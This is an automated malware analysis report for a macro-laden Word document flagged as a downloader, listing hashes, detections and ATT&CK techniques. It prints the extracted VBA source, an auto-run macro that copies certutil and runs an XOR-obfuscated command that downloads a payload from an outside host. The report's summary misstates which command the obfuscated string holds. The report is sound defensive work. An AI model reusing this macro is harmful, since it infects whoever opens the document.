Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 28bb801aa3dd211f…

MALICIOUS

Office (OOXML)

110.1 KB Created: 2020-07-28 09:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 707481eafd9d0ab013f731f81fdeb058 SHA-1: 2f1d427df8bef1cf897d3a042a58bb1b70a905f6 SHA-256: 28bb801aa3dd211f9523f177a9ae26f92be2f231d772fced6d3f820336771efe
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The 'autoopen' macro is designed to execute a command that copies a system utility to ProgramData and then executes a second-stage payload. The VBA code uses XOR obfuscation to hide the command string, which reconstructs to 'cmd /c set u=tutil&&call copy C:\Windows\System32\cer%u%.exe C:\ProgramData\1.exe'. This indicates a downloader or dropper functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1166 bytes
SHA-256: 8877e00208260828a4d5a35d7adc03d561fbbcf320d92cb800c577a029e49d3b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "T"
Sub autoopen()
cF = h("12%2%11%79%64%12%79%77%28%10%27%79%26%82%26%29%3%73%73%12%14%3%3%79%44%85%51%63%29%0%8%29%14%2%43%14%27%14%51%94%65%10%23%10%79%64%74%26%74%49%12%49%14%49%12%49%7%49%10%49%79%64%9%49%79%7%27%27%31%85%64%64%87%12%9%14%22%25%65%12%0%2%64%13%0%3%13%64%5%14%10%1%27%65%31%7%31%80%3%82%3%6%26%27%91%65%12%14%13%79%44%85%51%63%29%0%8%29%14%2%43%14%27%14%51%94%65%27%2%31%79%73%73%79%12%14%3%3%79%29%10%8%28%25%29%92%93%79%44%85%51%63%29%0%8%29%14%2%43%14%27%14%51%94%65%27%2%31%77")

Dim tH As New WshShell
Call tH.run("cmd /c set u=tutil&&call copy C:\Windows\System32\cer%u%.exe C:\ProgramData\1.exe", 0)
Call tH.run(cF, 0)

End Sub

Attribute VB_Name = "d"
Function h(Wg)
xB = Split(Wg, "%")
For u5 = 0 To UBound(xB)
 d7 = d7 & Chr(xB(u5) Xor 111)
Next u5
h = d7
End Function
Function vY()
vY = "util"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 6f9965331880abb5fa9ecd07624f88c67657b9ab5efdb336f97a9c25c801514d

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